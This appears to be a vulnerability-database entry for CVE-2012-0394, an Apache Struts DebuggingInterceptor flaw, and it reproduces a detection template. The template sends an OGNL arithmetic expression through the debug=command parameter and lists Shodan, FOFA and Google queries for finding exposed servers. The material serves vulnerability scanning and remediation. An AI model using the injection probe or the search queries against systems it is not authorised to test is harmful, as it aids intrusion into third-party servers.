| Reporter | Title | Published | Views | Family All 27 |
|---|---|---|---|---|
| Apache Struts Developer Mode OGNL Execution Exploit | 4 Feb 201400:00 | – | zdt | |
| Security Bulletin: Order Management could be subject to multiple cross-site scripting (XSS) vulnerabilities in XWork in Apache Struts 2.x. | 12 Apr 202417:35 | – | ibm | |
| CVE-2012-0394 | 6 Jan 201200:00 | – | circl | |
| Apache Struts Debugging Interceptor Remote Code Execution (CVE-2012-0394) | 17 Feb 201400:00 | – | checkpoint_advisories | |
| CVE-2012-0394 | 8 Jan 201215:00 | – | cve | |
| CVE-2012-0394 | 8 Jan 201215:00 | – | cvelist | |
| Apache-Struts ExceptionDelegator < 2.3.1.1 RCE Linux | 24 Mar 201200:00 | – | dsquare | |
| Apache-Struts DebuggingInterceptor < 2.3.1.1 RCE Windows | 24 Mar 201200:00 | – | dsquare | |
| Apache-Struts DebuggingInterceptor < 2.3.1.1 RCE Linux | 24 Mar 201200:00 | – | dsquare | |
| Apache Struts - Developer Mode OGNL Execution (Metasploit) | 5 Feb 201400:00 | – | exploitdb |
id: CVE-2012-0394
info:
name: Apache Struts <2.3.1.1 - Remote Code Execution
author: tess
severity: medium
description: |
Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
remediation: |
Upgrade Apache Struts to a version higher than 2.3.1.1 or apply the necessary patches.
reference:
- https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
- https://www.exploit-db.com/exploits/31434
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
- http://www.exploit-db.com/exploits/18329
- https://nvd.nist.gov/vuln/detail/CVE-2012-0394
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score: 6.8
cve-id: CVE-2012-0394
cwe-id: CWE-94
epss-score: 0.93572
epss-percentile: 0.99841
cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: apache
product: struts
shodan-query:
- html:"Struts Problem Report"
- http.title:"struts2 showcase"
- http.html:"struts problem report"
- http.html:"apache struts"
fofa-query:
- body="struts problem report"
- title="struts2 showcase"
- body="apache struts"
google-query: intitle:"struts2 showcase"
tags: cve,cve2012,ognl,injection,edb,apache,struts,vuln
variables:
first: "{{rand_int(1000, 9999)}}"
second: "{{rand_int(1000, 9999)}}"
result: "{{to_number(first)*to_number(second)}}"
http:
- method: GET
path:
- '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'
matchers-condition: and
matchers:
- type: word
words:
- '{{result}}'
- type: status
status:
- 200
# digest: 490a0046304402204024690e5d0467890713c443d27565c72f59e89f88e3bfe1ddf7b86a937480930220353c957ae61624742ad03e205a15edb1a849d59ca88d255d0eeeb30786dc5fe2:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation